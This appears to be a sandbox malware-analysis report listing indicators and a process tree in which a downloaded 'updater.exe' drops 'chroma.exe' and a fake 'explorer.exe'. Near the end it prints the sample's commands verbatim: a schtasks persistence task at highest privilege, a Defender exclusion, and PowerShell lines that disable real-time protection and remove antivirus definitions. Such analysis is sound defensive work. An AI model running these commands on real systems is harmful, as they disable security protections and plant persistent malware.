Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

Processes:

chrome.exechrome.exe

pid	process
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	2416	chrome.exe
Token: SeCreatePagefilePrivilege	2416	chrome.exe
Token: SeShutdownPrivilege	4540	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4540	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exemsiexec.exe

pid	process
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
4540	msiexec.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe

Suspicious use of SendNotifyMessage 56 IoCs

Processes:

chrome.exechrome.exe

pid	process
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2416	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe
2024	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 2416 wrote to memory of 2680	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2680	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2696	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 4088	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 4088	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe
PID 2416 wrote to memory of 2500	2416	chrome.exe	chrome.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://bumida-cloud.andalsoftware.com/surprise.html?id=341631501290569730
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd952dab58,0x7ffd952dab68,0x7ffd952dab78
  2⤵
  PID:2680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1840 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:2
  2⤵
  PID:2696
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2872 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:3720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2880 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:2572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4312 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4468 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:3944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=4324 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:3016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4636 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:4164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4668 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4924 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4944 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:3400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4496 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:1108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3100 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2592
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1196 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5172 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5096 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2916
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\node-v20.13.1-x64.msi"
  2⤵
  - Blocklisted process makes network request
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3092 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5544 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:3088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5312 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:2184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5948 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:3248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5764 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5536 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:3140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5512 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6056 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5776 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:1540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4104 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1552 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=6108 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=5172 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:1
  2⤵
  PID:1628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4464 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6068 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:2044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5920 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5848 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:1564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6052 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:4608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2924 --field-trial-handle=1904,i,4990677994761799528,12893752655216940671,131072 /prefetch:8
  2⤵
  PID:1636
- C:\Users\Admin\Downloads\updater.exe
  "C:\Users\Admin\Downloads\updater.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4116
- - C:\Users\Admin\AppData\Local\Temp\chroma.exe
    "C:\Users\Admin\AppData\Local\Temp\chroma.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2596
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "chroma" /tr '"C:\Users\Admin\AppData\Roaming\chroma.exe"' & exit
      4⤵
      PID:5464
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "chroma" /tr '"C:\Users\Admin\AppData\Roaming\chroma.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:5580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC5C4.tmp.bat""
      4⤵
      PID:5492
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:5620
    - - C:\Users\Admin\AppData\Roaming\chroma.exe
        
        "C:\Users\Admin\AppData\Roaming\chroma.exe"
        5⤵
        Executes dropped EXE
        
        PID:5668
- - C:\Users\Admin\AppData\Local\Temp\explorer.exe
    "C:\Users\Admin\AppData\Local\Temp\explorer.exe"
    3⤵
    - Executes dropped EXE
    PID:3656
  - - C:\Users\Admin\AppData\Local\Temp\explorer.exe
      "C:\Users\Admin\AppData\Local\Temp\explorer.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3248
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\explorer.exe'"
        5⤵
        
        PID:1920
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\explorer.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2928
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:4380
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
